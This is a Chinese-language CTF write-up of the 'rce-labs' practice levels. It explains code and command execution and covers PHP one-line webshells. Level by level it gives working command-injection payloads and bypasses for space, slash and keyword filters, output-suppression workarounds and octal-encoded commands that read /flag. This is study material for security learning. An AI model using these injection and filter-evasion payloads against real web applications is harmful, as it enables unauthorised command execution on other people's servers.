0%

探姬rce-labs:一把过

level 0

牛牛牛,正式开始

「任意代码执行(Arbitrary Code Execution,ACE)」 是指攻击者在目标计算机或目标进程中运行攻击者选择的任何命令或代码的能力,这是一个广泛的概念,它涵盖了任何类型的代码运行过程,不仅包括系统层面的脚本或程序,也包括应用程序内部的函数或方法调用。
在此基础上我们将通过网络触发任意代码执行的能力通常称为 远程代码执行 「远程代码执行(RCE,Remote Code Execution,RCE)」。
「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的shell_exec()函数或Python中的os.system()函数。
「代码执行(Code Execution)」 同我们最开始说到的任意代码执行,在语言中可以体现为一些函数或者方法调用,如PHP中的eval()函数或Python中的exec()函数。
虽然在很多教学场景,命令执行 和 代码执行 经常被用同一个缩写 RCE (Remote Code/Command Execution) 来指代,但显而易见的是,代码执行是更为广泛的概念。

leve 1

这题也很简单,讲了一个关键的前置知识,也是我之前经常忘记的

在某个语言中,通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为,如PHP中的eval()函数或Python中的exec()函数。
当漏洞入口点可以执行任意代码时,我们称其为代码执行漏洞 —— 这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况,比如 eval(“system(‘cat /etc/passwd’)”; ); 也被归为代码执行漏洞。
我们平时最常见的一句话木马就用的 eval() 函数,如下所示(一般情况下,为了接收更长的Payload,我们一般对可控参数使用POST传参)

  • eval就是执行括号内php语句的函数
  • 直接传system()就可以了

level 2

level 3

牛牛启动

「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的shell_exec()函数或Python中的os.system()函数。
当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 “一句话木马”:system($_POST[‘a’]);

level 4

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo “Directory not found”
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo “This will run immediately.”;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo “Hello” ; echo “World”
没绷住,也是直接秒了,很简单,就是我之前做的那么多次的,很常规payload:?8.8.8.8;cat /flag

level 5

上来就没绷住,就是简单的绕过方式(放现在,到处都是无参rce,哪里还给你这种机会)
在Shell中,单/双引号 “/‘ 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo “$”a 会输出 $a,而 echo $a 会输出变量a的值,当只有””则表示空字符串,Shell会忽略它。

  • (星号): 匹配零个或多个字符。例子: .txt。
  • ?(问号): 匹配单个字符。例子: file?.txt。**
  • [](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
  • [^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
  • {}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
  • 通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:
  • system(“c’’at /e’t’c/pass?d”);
  • system(“/???/?at /e’t’c/pass?d”);
  • system(“/???/?at /e’t’c/ss“);
    构造cat “f”lag直接绕过
    但是这里的通配符后续大有用处

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html在离别歌神的这个文章中有所体现

level 6

也是第五题的延续考察吧
alt text
alt text
alt text
这题很奇怪,为什么cat不行,而得用/bin/cat呢

level 7

这题见到的太多了,常规的空格绕过,以及关键字绕过(用通配符*)

1
?cmd=cat$IFS/fl*

直接过了,基础主要还是%09和$IFS来绕过空格
这里还有一些方法,简单举几个例子

  • 重定向
1
?cmd=cat</fl""ag
  • {}只在bash里有用
1
{cat,/f'l'ag}
  • 进制
1
X=$'cat\x20/flag'&&$X

这里再拓展一点吧,要是waf过滤了/该怎么做

1
2
3
4
${HOME:0:1}来替代"/"
cat /flag ---->>> cat ${HOME:0:1}flag
$(echo . | tr '!-0' '"-1') 来替代"/"
cat $(echo . | tr '!-0' '"-1')flag

level 8

这里开始用重定向了
这个没见过,我认为是一种无回显rce,大概给大家看一下题

1
2
3
4
5
6
7
8
/*
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。
如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null
/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1
*/

这个是对于重定向内容的描述,简单来说就是会把你传的命令都定向道一个/dev/null目录,然后你就什么回显都看不到,后续连你报错都可以忽略

1
2
3
4
5
6
function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);

这里就需要去了解一些常见方法了

  1. 分号的使用
1
cmd=ls;

由于分号可以让 ls 在 >/dev/null 2>&1 之前执行,因此我们可以直接这么强打,得到命令执行的结果
2. tee函数的使用

1
?cmd=ls | tee output.txt

tee函数的作用在于:tee 命令可以复制输出,使得 ls 的结果仍然可以看到
后续访问output.txt来看执行的结果了
3. 逆向重定向

1
?cmd=ls 2>&1 | cat

接下来补充一点相关知识
在Linux中文件描述符(File Descriptor)是用于标识和访问打开文件或输入/输出设备的整数值,每个打开的文件或设备都会被分配一个唯一的文件描述符,Linux 中的文件描述符使用非负整数值来表示其中特定的文件描述符有以下含义

  • 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
  • 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
  • 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出
    alt text

level 9

八进制转换,这个是bash的一种特性(注意,只有bash有)

1
2
3
4
5
caochuhan@DESKTOP-B9Q8MAA:/mnt$ $'\154\163'
c d e f g wsl wslg
caochuhan@DESKTOP-B9Q8MAA:/mnt$ cd wsl
caochuhan@DESKTOP-B9Q8MAA:/mnt/wsl$ $'\154\163'
resolv.conf

在Linux中试了一下,确实是这样,BUT
这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来
意思就是遍一下cat,再编一些/flag,最后再用空格连接起来,而不能合在一起一同转进制,这样子的指令是行不通的
例如

1
2
3
4
5
bash-5.1# $'\143\141\164\40\57\146\154\141\147'
bash: cat /flag: No such file or directory

bash-5.1# $'\143\141\164' $'\57\146\154\141\147'
flag{TEST_Dynamic_FLAG}

这样子就出flag了,需要注意的是不能用空格连接后一起转,而是要分开转之后用空格连接
空格要是被过滤的话,就可以用

1
?cmd=$'\143\141\164'<$'\57\146\154\141\147'

探姬给出的注释如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/

bash与dash不同
关于进制转换的脚本在线
https://probiusofficial.github.io/bashFuck/

level 10

营业执照思密达